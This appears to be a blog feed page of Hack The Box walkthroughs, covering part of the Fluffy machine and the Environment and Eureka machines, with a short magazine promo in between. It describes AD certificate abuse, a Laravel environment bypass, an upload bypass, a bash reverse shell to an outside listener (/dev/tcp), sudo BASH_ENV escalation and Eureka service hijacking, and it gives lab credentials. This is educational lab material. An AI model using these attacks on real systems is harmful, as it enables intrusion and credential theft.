As a result, we transferred the malicious.zip to the victim’s machine using smbclient.

We captured the NTLMv2-SSP hash and can now attempt to crack it.

Credential Recovery via Hash Cracking

The hash was successfully cracked within one minute, revealing the password: prometheusx-303.

BloodHound Active Directory Enumeration

We proceeded to enumerate the environment using BloodHound.

Analyzing BloodHound Enumeration Data

The account p.agila@fluffy.htb is a member of the Service Account Managers@fluffy.htb group, which has GenericAll permissions over the Service Accounts@fluffy.htb group. This means p.agila can fully manage members of the Service Accounts group, including adding, removing, or modifying accounts — a powerful privilege that can be leveraged for privilege escalation.

The accounts ldap_svc@fluffy.htb, ca_svc@fluffy.htb, and winrm_svc@fluffy.htb all belong to the service accounts@fluffy.htb group. They share similar privilege levels and likely support service-related operations, creating a common attack surface if an attacker compromises any one of them.

The domain hierarchy shows that authenticated users@fluffy.htb are members of everyone@fluffy.htb, with domain users inheriting from both authenticated users and users. Authenticated users also have pre-Windows 2000 and Certificate Service DCOM access. The ca_svc account belongs to domain users, service accounts, and cert publishers. While cert publishers is part of the Denied RODC Password Replication Group (blocking password replication to RODCs), it retains certificate publishing rights.

Performing a Certipy Shadow Attack on Fluffy Machine

It is also possible to add the user p.agila to the SERVICE ACCOUNTS group.

This process retrieves the NT hash, and you can repeat it for the other two users. The name winrm_svc indicates that you can access it directly through WinRM and authenticate using the hash.

The command uses Certipy to authenticate as the user winrm_svc with a captured NT hash against the domain controller DC01.fluffy.htb. By specifying both the domain controller IP and the target IP, it attempts to perform a pass-the-hash attack, enabling access without needing the plaintext password.

This data contains a substantial amount of information that requires careful analysis and processing.

I noticed the presence of the Cert Publishers group.

Retrieving the User Flag on Fluffy Machine

We can access the machine using the winrm_svc account by leveraging its NT hash.

A screenshot of a computer screen AI-generated content may be incorrect.

We can read the user flag by executing the command type user.txt.

Escalate to Root Privileges Access on Fluffy Machine

Privilege Escalation:

A computer screen with green text AI-generated content may be incorrect.

This command leverages Certipy in combination with ntpdate to adjust the system time, targeting the user ca_svc with the specified NT hash against the domain fluffy.htb. The -stdout option directs the output to the console, and the -vulnerable flag identifies potentially exploitable accounts or services. This method facilitates pass-the-hash or Kerberos-related enumeration while accounting for time-based restrictions in the environment.

Privilege Escalation via ESC16 Misconfiguration

A screenshot of a computer AI-generated content may be incorrect.

The Certificate Authority (CA) DC01.fluffy.htb is vulnerable to ESC16, a misconfiguration that allows abusing certificate templates for privilege escalation. While the WINRM_SVC account lacks elevated privileges, its CA access provides a path to target higher-privileged accounts, such as the administrator.

Vulnerabilities
ESC16: The disabled Security Extension leaves the system susceptible to abuse.

Remarks
ESC16 may require additional prerequisites. Refer to the official wiki for guidance.

A computer screen with green text AI-generated content may be incorrect.

We executed the Certipy account command to update the ca_svc account on the fluffy.htb domain. Using the credentials of p.agila@fluffy.htb (prometheusx-303) and targeting the domain controller at 10.10.11.69, we modified the account’s userPrincipalName to administrator. This modification allows the account to perform actions with elevated privileges, enabling further privilege escalation within the environment.

A screenshot of a computer program AI-generated content may be incorrect.

Using Certipy’s shadow command, we performed automated Kerberos-based credential extraction for the ca_svc account on fluffy.htb. Authenticated as p.agila@fluffy.htb (prometheusx-303) and targeting 10.10.11.69, Certipy generated a certificate and key credential, temporarily added it to ca_svc’s Key Credentials, and authenticated as ca_svc. It obtained a TGT, saved the cache to ca_svc.ccache, and retrieved the NT hash (ca0f4f9e9eb8a092addf53bb03fc98c8). Certipy then restored ca_svc’s original Key Credentials. Finally, we set KRB5CCNAME=ca_svc.ccache to enable subsequent Kerberos operations with the extracted credentials.

Using Certipy, we issued a certificate request with the req command, targeting the domain controller DC01.FLUFFY.HTB and the Certificate Authority fluffy-DC01-CA, while specifying the User template. Although we did not explicitly provide the DC host, Kerberos authentication handled the request over RPC. The Certificate Authority successfully processed the request (Request ID 15) and issued a certificate for the administrator user principal. The certificate did not include an object SID, with a note suggesting the -sid option if needed. We saved the certificate and its private key to administrator.pfx, completing the process.

A black screen with green text AI-generated content may be incorrect.

The command uses Certipy to update the ca_svc account on the domain fluffy.htb. Authenticated as p.agila@fluffy.htb with the password prometheusx-303 and targeting the domain controller at 10.10.11.69, the account’s userPrincipalName is set to ca_svc@fluffy.htb. Certipy confirms that the update was successful, ensuring the ca_svc account reflects the correct user principal name for subsequent operations.

Administrator Authentication Using Certipy

A computer screen with green text AI-generated content may be incorrect.

Using Certipy, the auth command was executed to authenticate as the administrator user on the domain fluffy.htb using the certificate stored in administrator.pfx. The tool identified the certificate’s SAN UPN as administrator and used it to request a Ticket Granting Ticket (TGT) from the domain controller at 10.10.11.69. The TGT was successfully obtained and saved to the credential cache file administrator.ccache. Certipy then retrieved the NT hash for administrator@fluffy.htb, which can be used for subsequent authentication or privilege escalation activities.

Remote Execution & Root Flag Retrieval

A computer screen with text on it AI-generated content may be incorrect.

We accessed the target machine via WinRM using either the authenticated credentials or the extracted NT hash, which enabled remote command execution on the system.

A computer screen with green text AI-generated content may be incorrect.
A black background with green text AI-generated content may be incorrect.

We can read the root flag by executing the command type root.txt.

The post Hack The Box: Fluffy Machine Walkthrough – Easy Difficulity appeared first on Threatninja.net.

Innovator Spotlight: Xcape

✇Cyber Defense Mag
By: Gary
9 September 2025 at 15:40

Continuous Vulnerability Management: The New Cybersecurity Imperative Security leaders are drowning in data but starving for actionable insights. Traditional penetration testing has become a snapshot of vulnerability that expires faster...

The post Innovator Spotlight: Xcape appeared first on Cyber Defense Magazine.

Hack The Box: Environment Machine Walkthough-Medium Difficulty

✇Threatninja.net
By: darknite
6 September 2025 at 10:58
Reading Time: 13 minutes

Introduction to Environment:

In this write-up, we will explore the “Environment” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective for the Environment machine:

The goal of this walkthrough is to complete the “Environment” machine from Hack The Box by achieving the following objectives:

User Flag:

The login page identified a Marketing Management Portal, and testing the Remember parameter with --env=preprod bypassed authentication, exposing user emails, including hish@environment.htb. The application runs PHP 8.2.28 and Laravel 11.30.0, which is vulnerable to argument injection (CVE-2024-52301) and UniSharp Laravel Filemanager code injection, highlighting further exploitation potential. The profile upload feature allowed a PHP file bypass by appending a . to the extension (shell.php.); a crafted payload confirmed code execution via phpinfo(). A PHP reverse shell was uploaded and triggered, connecting back to a listener and allowing retrieval of the user flag with cat user.txt.

Root Flag:

To escalate privileges and obtain the root flag, we first examined the contents of /home/hish, discovering a backup file keyvault.gpg and a .gnupg directory containing GnuPG configuration and key files. By copying .gnupg to /tmp/mygnupg and setting appropriate permissions, we used GPG to decrypt keyvault.gpg, revealing credentials including the Environment.htb password (marineSPm@ster!!). User “hish” had sudo privileges to run /usr/bin/systeminfo with preserved environment variables (ENV and BASH_ENV), creating a vector for privilege escalation. A script dark.sh containing bash -p was crafted and made executable; executing sudo BASH_ENV=./dark.sh /usr/bin/systeminfo triggered the script under elevated privileges, spawning a root shell and effectively granting full control of the system, allowing access to the root flag.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oN nmap_initial.txt 10.10.10.10

Nmap Output: 

# Nmap 7.94SVN scan initiated Sun May  4 08:43:11 2025 as: nmap -sC -sV -oA initial 10.10.11.67
Nmap scan report for 10.10.11.67
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May  4 08:43:21 2025 -- 1 IP address (1 host up) scanned in 10.97 seconds

Analysis:

  • Port 22 (SSH): Secure Shell service for remote access, running OpenSSH 9.2p1 (Debian 12).
  • Port 80 (HTTP): Web server running nginx 1.22.1, redirecting to environment.htb

Web Enumeration on the Environment machine:

Perform web enumeration to discover potentially exploitable directories and files.

gobuster dir -u http://environment.htb -w /opt/directory-list-lowercase-2.3-small.txt

Gobuster Output: 

┌─[dark@parrot]─[~/Documents/htb/environment]
└──╼ $gobuster dir -u http://environment.htb -w /opt/directory-list-lowercase-2.3-small.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://environment.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login                (Status: 200) [Size: 2391]
/upload               (Status: 405) [Size: 244852]
/storage              (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/up                   (Status: 200) [Size: 2125]
/logout               (Status: 302) [Size: 358] [--> http://environment.htb/login]
/vendor               (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
/build                (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/mailing              (Status: 405) [Size: 244854]
Progress: 81643 / 81644 (100.00%)
===============================================================
Finished
===============================================================

Analysis:

  • login (200): Login page, likely entry point for authentication.
  • /upload (405): Upload functionality present but restricted (Method Not Allowed).
  • /storage (301): Redirects to http://environment.htb/storage/.
  • /up (200): Page accessible, may contain system or application status.
  • /logout (302): Redirects back to login page.
  • /vendor (301): Redirects to http://environment.htb/vendor/, likely framework/vendor files.
  • /build (301): Redirects to http://environment.htb/build/, may contain application build assets.
  • /mailing (405): Mailing functionality endpoint, but restricted (Method Not Allowed).

Exploration for the Environment Machine

The website displays a standard interface with no obvious points of exploitation.

The login page identifies the application as a Marketing Management Portal, but no valid credentials are available to test authentication.

Attackers can examine the PHP script at the /upload endpoint to gather potential hints. The application runs on PHP 8.2.28 with Laravel 11.30.0, which may expose version-specific vulnerabilities.

Laravel 11.30.0 Argument Injection Vulnerability (CVE-2024-52301) – Enumeration & PoC

Therefore, let’s research potential exploits for PHP 8.2.28 with Laravel 11.30.0.

Source: Laravel 11.30.0 Exploit: What You Need to Know

On the discovered website, attackers can exploit CVE-2024-52301, a Laravel 11.30.0 argument injection flaw triggered when register_argc_argv is enabled. By sending crafted query strings, they can inject arguments into the PHP environment, potentially gaining unauthorised access or executing arbitrary commands.. This vulnerability poses a high risk, especially in shared hosting, but administrators can mitigate it by disabling register_argc_argv in php.ini and hardening server configurations.

Enumeration and Proof-of-Concept Testing for CVE-2024-52301

We will test the login page with blind credential attempts to see if any weak or default accounts accept access.

This is how the request and response appear when viewed through Burp Suite.

The request packet includes a parameter Remember=false, and the server responds with “Invalid Credentials“, indicating failed authentication.

Therefore, the next step is to modify the parameter by changing Remember=false to Remember=true and observe the server’s response.

Unfortunately, modifying Remember=false to Remember=true did not bypass authentication, as the login attempt still failed.

The output appears similar to the reaction shown above, confirming that the change in the Remember parameter did not affect authentication.

Removing the Remember parameter from the request still results in the same response, indicating no change in authentication behavior.

This PHP snippet checks the value of the $remember parameter to determine whether the user should stay logged in. If $remember equals 'False', the variable $keep_loggedin is set to False, meaning the session will not persist after login. If $remember equals 'True', then $keep_loggedin is set to True, allowing the application to keep the user logged in across sessions. Essentially, it controls the “Remember Me” functionality during authentication.

Modify the remember parameter to use a value other than false or true.

This code first sets the $keep_loggedin flag based on the $remember parameter, enabling the “Remember Me” feature if applicable. It then checks whether the application is running in the preprod environment, and if so, it automatically logs in as the user with ID 1 by regenerating the session, setting the session user ID, and redirecting to the management dashboard—essentially a developer shortcut for testing. If not in preprod, the code proceeds to look up the user in the database by their email.

Source: CVE-2024-52301 POC

Bypassing Environment with ?–env=production

When the query string ?--env=production is added to the URL, it injects the argument --env=production into $_SERVER['argv'], which Laravel interprets through its environment detection mechanism. This forces the framework to treat the application as if it is running in a production environment, causing the @production directive in Blade templates to render <p>Production environment</p> as the output.

By adding the parameter --env=preprod to the request packet, it may trigger the application’s pre-production environment logic seen in the code, potentially bypassing normal authentication and granting direct access as the default user (ID 1).

After adding the --env=preprod parameter, the application redirected to the management dashboard, where a list of user accounts was revealed.The dashboard showed multiple email addresses, including cooper@cooper.com, bob@bobbybuilder.net, sandra@bullock.com, p.bowls@gmail.com, bigsandwich@sandwich.com, dave@thediver.com, dreynolds@sunny.com, will@goldandblack.net, and nick.m@chicago.com, which attackers could potentially use for authentication attempts or targeted attacks.

We identified a profile displaying the details Name: Hish and Email: hish@environment.htb. The profile also includes a feature that allows uploading a new picture, which may present an opportunity to test for file upload vulnerabilities.

To test how the application processes file uploads, we uploaded a random .png file through the profile’s picture upload functionality.

However, the upload attempt returned an error message in the browser: “Unexpected MimeType: application/x-empty”, indicating that the application rejected the file due to an invalid or unrecognised MIME type.

Renaming the uploaded file with a .php extension prompted the application to respond with “Invalid file detected,” confirming that server-side validation actively blocks direct PHP or executable uploads.

UniSharp Laravel Filemanager – Code Injection Vulnerability (CVE-2024-21546) PoC & Exploitation

The vulnerability occurs in the file upload feature, where attackers can circumvent the restrictions by adding a . after a PHP file (for example, filename.php.) while using an allowed MIME type. Even though the application blocks certain extensions like PHP or HTML and MIME types such as text/x-php, text/html, or text/plain, this trick enables malicious files to be uploaded successfully. Snyk rates this issue as Critical with a CVSS v3.1 score of 9.8 and High with a CVSS v4.0 score of 8.9.

Let’s research exploits targeting the UniSharp Laravel Filemanager upload functionality.

Version-Agnostic Testing for UniSharp Laravel File Upload Vulnerabilities

If the UniSharp Laravel Filemanager version is unknown, you can test uploads without relying on the version. First, upload safe files like .jpg or .png to confirm the endpoint works. Then, try potentially executable files like .php, .php., or .php.jpg and watch the server response. HTTP 200 may indicate a bypass. You can also tweak MIME types to test validation. Monitor responses (200, 403, 405) and see if uploaded files can execute code—this approach highlights risky upload behaviors without knowing the exact version.

Modify the PHP file’s name by adding a “.” after the .php extension (e.g., test.php.). Actively test whether the upload filter allows bypassing and if server-side code runs.

The upload bypass succeeded, and the application accepted the .php. file, indicating the filter can be bypassed. The uploaded payload may execute.

The GIF89a output shows that the uploaded file is being treated as an image rather than executed as PHP. Since GIF89a is the GIF header, the server is likely enforcing MIME type checks or serving uploads as static files. This behaviour prevents the embedded PHP code from running directly. A GIF–PHP polyglot can bypass validation by starting with a valid GIF header while containing PHP code for execution. Extension tricks like .php., .php%00.png, or encoding bypasses may also allow the server to process the file as PHP. If the server serves uploads only as images, an LFI vulnerability could include the uploaded file to execute the PHP payload.

File Upload & Reverse Shell

Since the earlier PHP extension bypass worked, the next logical step was to upload a file phpinfo(); to confirm code execution. Retrieving this file successfully displayed the PHP configuration page, verifying that arbitrary PHP code can indeed run on the server.

The uploaded file ran successfully, and the browser showed phpinfo() output, confirming the server processes the injected PHP code.

Set up a listener on your machine to catch the reverse shell

We successfully uploaded the PHP reverse shell payload, and executing it attempted to connect back to the listener, as demonstrated in the command example above.

The connection did not trigger.

We started a Python HTTP server to host the payload for the target system to retrieve.

User “hish” attempted to retrieve a file using curl from the machine but received a “File not found” response.

We consolidated all the bash commands into a new script file to simplify execution.

Let’s attempt to fetch shell.sh from our machine.

Unexpectedly, nothing was detected.

A screen shot of a computer AI-generated content may be incorrect.

Let’s run the bash command shown above

bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.10.14.149/9007+0%3E%261%27

Surprisingly, it worked perfectly.

We can read the user flag with the command cat user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

Since this user has read access, the contents of the directory at www-data/home/hish can be inspected. Inside the backup directory, we found a file named keyvault.gpg.

GnuPG Key Inspection

We discovered a .gnupg directory.

Within the .gnupg directory of the user hish, several key GnuPG files and directories are present, including openpgp-revocs.d for revoked keys, private-keys-v1.d containing the user’s private keys, pubring.kbx and its backup pubring.kbx~ for storing public keys, random_seed used by GnuPG for cryptographic operations, and trustdb.gpg, which maintains the trust database for verifying key authenticity.

Decrypting the Backup File with GPG

The /tmp directory is empty and contains no files of interest.

User “hish” copied the .gnupg directory to /tmp/mygnupg to simplify access and analysis, likely to inspect or manipulate GnuPG-related files, such as private keys or configuration data, in a more convenient temporary location.

The /tmp/mygnupg directory permissions were set to 700, restricting access so that only the owner can read, write, or execute its contents.

After copying, the /tmp/mygnupg directory exists, but it contains no files of interest.

The command gpg --homedir /tmp/mygnupg --list-secret-keys tells GnuPG to use the directory /tmp/mygnupg as its home and lists all secret (private) keys stored there. This allows the user to view available private keys without affecting the default GPG configuration.

Using GnuPG with the home directory set to /tmp/mygnupg, the command decrypts /home/hish/backup/keyvault.gpg and writes the decrypted content to /tmp/message.txt, leveraging the secret keys stored in that directory.

After some time, we successfully retrieved message.txt, which may contain potentially useful information.

The message.txt file contains a list of credentials for different accounts. Specifically, it shows a PayPal password (Ihaves0meMon$yhere123), an Environment.htb password (marineSPm@ster!!), and a Facebook password (summerSunnyB3ACH!!). These credentials may allow access to the corresponding accounts or services.

Accessing User Hish’s Privileges

A black screen with green text AI-generated content may be incorrect.

The password “marineSPm@ster!!” appears to belong to the Environment.htb account, as the other passwords correspond to PayPal and Facebook.

A screenshot of a computer program AI-generated content may be incorrect.

We can connect using SSH.

Privilege Escalation with systeminfo

A computer screen with green text AI-generated content may be incorrect.

The sudo -l Output for user “hish” on the “environment” host shows they can run /usr/bin/systeminfo with sudo privileges as any user. The default settings include env_reset, mail_badpass, a secure_path, and preservation of ENV and BASH_ENV variables via env_keep. This preservation of ENV and BASH_ENV creates a potential security vulnerability, as these variables can be manipulated to execute arbitrary commands, allowing “hish” to bypass restrictions and escalate privileges when running the allowed command.

User “hish” on the “environment” host runs commands to create a script named dark.sh containing bash -p, which spawns a privileged bash shell. First, echo 'bash -p' > dark.sh write the bash -p command into dark.sh. Then, chmod +x dark.sh grants execute permissions to the script. These steps prepare a malicious script for a potential privilege escalation exploit, likely to be used with a preserved environment variable, like BASH_ENV in a subsequent command, to bypass sudo restrictions and gain elevated privileges.

User “hish” on the “environment” host runs sudo BASH_ENV=./dark.sh /usr/bin/systeminfo to exploit the preserved BASH_ENV environment variable, as revealed by sudo -l. By setting BASH_ENV to point to the previously created dark.sh script (containing bash -p), the command triggers the execution of dark.sh when systeminfo runs with sudo privileges. Since bash -p spawns a privileged bash shell, this allows “hish” to gain elevated privileges, bypassing the restricted sudo permissions that only allow running /usr/bin/systeminfo, effectively achieving privilege escalation.

A black background with green text AI-generated content may be incorrect.

We can read the user flag with the command cat user.txt.

The post Hack The Box: Environment Machine Walkthough-Medium Difficulty appeared first on Threatninja.net.

Hack The Box: Eureka Machine Walkthrough – Hard Dificulty

✇Threatninja.net
By: darknite
30 August 2025 at 10:58
Reading Time: 12 minutes

Introduction to Eureka:

In this writeup, we will explore the “Eureka” machine from Hack The Box, categorised as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Eureka” machine from Hack The Box by achieving the following objectives:

User Flag:

During enumeration, we discovered Spring Boot Actuator endpoints, including /actuator/heapdump, which revealed plaintext credentials for oscar190. We logged in to SSH as oscar190, but found the home directory empty. The application.properties file revealed Eureka credentials (EurekaSrvr:0scarPWDisTheB3st), which allowed us to access the Eureka dashboard on port 8761. By registering a malicious microservice, we retrieved miranda.wise credentials and captured the user flag from user.txt.

Root Flag:

For privilege escalation, the vulnerable log_analyse.sh script allowed command injection, enabling creation of a SUID bash shell in /tmp/bash. Execution of this shell provided root access, and the root flag was obtained from /root/root.txt.

Enumerating the Eureka Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oA initial 10.10.11.66

Nmap Output: 

┌─[dark@parrot]─[~/Documents/htb/eureka]
└──╼ $nmap -sC -sV -oA initial 10.10.11.66 
# Nmap 7.94SVN scan initiated Sun Aug 24 03:30:10 2025 as: nmap -sC -sV -oA initial 10.10.11.66
Nmap scan report for 10.10.11.66
Host is up (0.046s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_  256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 24 03:30:21 2025 -- 1 IP address (1 host up) scanned in 10.99 seconds

Analysis:

  • Port 22 (SSH): Secure Shell service (OpenSSH 8.2p1) for remote access.
  • Port 80 (HTTP): Web server (nginx 1.18.0) hosting furni.htb.

Web Enumeration:

Perform web enumeration to discover potentially exploitable directories and files.

gobuster dir -u http://furni.htb/ -w /opt/quickhits.txt

Gobuster Output: 

┌─[dark@parrot]─[~/Documents/htb/eureka]
└──╼ $gobuster dir -u http://furni.htb/ -w /opt/quickhits.txt 
/actuator             (Status: 200) [Size: 2129]
/actuator/caches      (Status: 200) [Size: 20]
/actuator/features    (Status: 200) [Size: 467]
/actuator/info        (Status: 200) [Size: 2]
/actuator/health      (Status: 200) [Size: 15]
/actuator/env         (Status: 200) [Size: 6307]
/actuator/metrics     (Status: 200) [Size: 3319]
/actuator/refresh     (Status: 405) [Size: 114]
/actuator/sessions    (Status: 400) [Size: 108]
/actuator/scheduledtasks (Status: 200) [Size: 54]
/actuator/mappings    (Status: 200) [Size: 35560]
/actuator/loggers     (Status: 200) [Size: 98261]
/actuator/beans       (Status: 200) [Size: 202254]
/actuator/configprops (Status: 200) [Size: 37195]
/actuator/conditions  (Status: 200) [Size: 184221]
/actuator/threaddump  (Status: 200) [Size: 176397]

Analysis:

Spring Boot Actuator endpoints provide insights:

  • /actuator shows system details,
  • /caches shows cache info,
  • /features lists features,
  • /info gives metadata,
  • /health shows status,
  • /env shows variables,
  • /metrics shows performance,
  • /refresh returns 405,
  • /sessions returns 400,
  • /scheduledtasks shows tasks,
  • /mappings lists routes,
  • /loggers shows logs,
  • /beans lists beans,
  • /configprops shows config,
  • /conditions shows auto-config,
  • /threaddump shows threads.

Feroxbuster directory enumeration identified the following endpoints:

Analysis:

  • /actuator/heapdump: Full application heap dump (very sensitive, ~76MB).

The heapdump is usually the biggest goldmine here—it can contain hardcoded credentials, JWT secrets, API keys, or session tokens.

Web Application Exploration:

The website interface appears to be a standard design showcasing a Modern Interior Design Studio.

Create a new user account

Therefore, proceed with creating a new account using the credentials mentioned above.

The password must contain a minimum of 10 characters.

Attempted to log in with the previously created credentials, but the response only returned bad credentials with no further action.

Extracting Eureka Service Credentials from Heapdump as oscar190

Proceed to download the heapdump by directly accessing the /actuator/heapdump endpoint through the web browser

To analyze the downloaded heapdump, run the strings command and pipe the output into grep to look for potential credentials. For example, using strings heapdump.hprof | grep -i "password=" will filter for any occurrences of the keyword password= within the dump. If no useful results are found, the search can be expanded with broader patterns such as pass, user, token, secret, or key to uncover sensitive information like database passwords, API keys, or authentication tokens stored in memory. This approach provides a quick way to extract valuable data from the heapdump before performing deeper analysis with tools like Eclipse MAT.

Heapdump analysis revealed valid plaintext credentials:

  • Username: oscar190
  • Password: 0sc@r190_S0l!dP@sswd

Failed Authentication Attempts with Extracted Credentials

┌─[dark@parrot]─[~/Documents/htb/eureka]
└──╼ $nmap -sC -sV -p- -oA fullport 10.10.11.66
8761/tcp open  unknown
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 401 
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Set-Cookie: JSESSIONID=052BB32927ACF7E3EC6D4104D8933C61; Path=/; HttpOnly
|     WWW-Authenticate: Basic realm="Realm"
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 0
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Pragma: no-cache
|     Expires: 0
|     X-Frame-Options: DENY
|     Content-Length: 0
|     Date: Sun, 24 Aug 2025 04:16:36 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 401 
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Set-Cookie: JSESSIONID=F7494079A8B84CF8089636498980649E; Path=/; HttpOnly
|     WWW-Authenticate: Basic realm="Realm"
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 0
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Pragma: no-cache
|     Expires: 0
|     X-Frame-Options: DENY
|     Content-Length: 0
|     Date: Sun, 24 Aug 2025 04:16:36 GMT
|     Connection: close

As a result, a full port scan will identify any additional services accessible on the target system.

Attempting Access to oscar190 via Eureka Dashboard and SSH

An attempt to use the previously discovered credentials for authentication failed, with all login attempts unsuccessful.

We used pwncat-cs to test the recovered credentials against SSH. The login was successful, and we gained remote access to the target system.

Enumeration as oscar190

After gaining access, we inspected the oscar190 directory. It was empty and contained no useful files for further exploitation.

We also checked for SUID binaries on the system, but found no unusual or exploitable ones.

During enumeration, we found a notable file at ./web/Funi/src/main/resource/application.properties containing sensitive information, including credentials that revealed the password for the oscar190 user.

Most importantly, under the Eureka section you discovered:

eureka.client.service-url.defaultZone= http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/

This line shows the Eureka service uses embedded credentials:

  • Username: EurekaSrvr
  • Password: 0scarPWDisTheB3st

These new credentials are different from oscar190. They may be valid for the Eureka dashboard (port 8761) or other services like SSH, MySQL, or the web portal.

Accessing Spring Eureka Dashboard on Port 8761 Using Discovered Credentials

The newly discovered credentials (EurekaSrvr:0scarPWDisTheB3st) were tested against the Eureka service endpoint. Authentication was successful, confirming valid access to the Eureka configuration interface.

Surprisingly, the credentials worked and granted access to the Spring Eureka application dashboard, confirming control over the service.

Monitoring System Activity and Command Execution with pspy64

The pspy64 output revealed that a scheduled task is being executed by the root user, which uses curl to send a POST request to http://furni.htb/login. The request is crafted to resemble a normal browser login, with headers such as Accept, Content-Type, User-Agent, and a session cookie included. Most importantly, the POST data is not hardcoded in the command but instead read from the temporary file /tmp/tmp.hJ3yAWDvEW. the file is writable or replaceable by a lower-privileged user, it may be possible to inject malicious data or commands into it, allowing code execution under root’s context whenever the automated task runs.

Cloud-Gateway Enumeration and Insight

During enumeration, a directory named cloud-gateway was discovered, which stands out as it is not typically present in standard web application structures. Given its uncommon presence, this directory warrants deeper inspection to determine whether it contains exploitable configurations or hidden endpoints.

Source: Cloud management gateway overview

The cloud-gateway directory was identified within the application files, which is uncommon in typical setups and indicates the use of Spring Cloud Gateway for routing and service communication. Such directories often contain sensitive configuration files, route definitions, or embedded credentials, making it an important target for closer inspection during enumeration.

Analysing the application.yaml Configuration File

It appears that the request is being passed to the user-management-service component, located under the path /var/www/web, specifically beneath the /login functionality. This suggests that authentication requests from /login are routed internally to the user-management-service, which likely handles user validation and credential processing.

HTTP Login Endpoint Hijacking via User-Management-Service

Inside the user-management-service directory, several files and subdirectories were identified, indicating this component is likely responsible for handling authentication and account-related functionality within the application. Since it sits directly under /var/www/web, its contents may include configuration files, source code, or compiled application resources that could expose sensitive information such as database credentials, API keys, or logic flaws.

The files discovered within the user-management-service directory were copied over to the attacker’s machine for further offline analysis. This allows deeper inspection of configuration details, source code, and potential hardcoded secrets without the risk of altering the target environment.

The application.properties and Eureka-related configuration files contain fields such as <instanceId>, <hostName>, <ipAddr>, <port>, <homePageUrl>, <statusPageUrl>, and <healthCheckUrl>. By modifying these values to match the attacker’s controlled IP address and port, it is possible to redirect the service registration in Eureka to point toward a malicious service instead of the legitimate one.

Retrieving miranda.wise Credentials and Capturing User Flag

The first command performs a POST request to register a new instance of the USER-MANAGEMENT-SERVICE application, where the configuration details (such as instance ID, host, IP address, and port) are provided in an external instance.xml file. By modifying this XML file with the attacker’s own machine details, it is possible to make Eureka believe that the legitimate service now points to the attacker-controlled host. The second command issues a DELETE request targeting the existing service entry localhost:USER-MANAGEMENT-SERVICE:9009, which corresponds to the genuine application running locally on port 9009.

A successful callback was received, which revealed system details tied to the user miranda.wise. This indicates that the malicious service registration worked as intended, and the compromised microservice forwarded traffic to the attacker-controlled host, exposing valuable information about another valid user account in the environment.

The user flag was captured by reading the user.txt file with the cat command.

Escalate to Root Privileges Access

Privilege Escalation:

We did not identify any unusual or exploitable SUID binaries on the system.

A script named log_analyse.sh was discovered on the system, which stands out as a potential target for further analysis to determine if it contains insecure commands, misconfigurations, or privilege escalation opportunities.

Analysis of log_analyse.sh Script

This script is a log analyser that examines server logs to track three key aspects: who’s logging in (successfully or not), what HTTP errors are occurring, and any system errors worth noting. It’s got some nice touches – colour-coded outputs for quick scanning and a clean report saved to log_analysis.txt.

grep "HTTP.*Status: " "$LOG_FILE" | while read line; do
    code=$(echo "$line" | grep -oP 'Status: \K.*')

if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"

This Bash script analyzes log files, extracting login attempts, HTTP status codes, and errors, then saves results to log_analysis.txt. A key function, analyze_http_statuses(), parses HTTP status codes using grep -oP 'Status: \K.*'. However, it’s vulnerable to command injection—if logs contain malicious strings like $(malicious_command), Bash will execute them when processing the file.

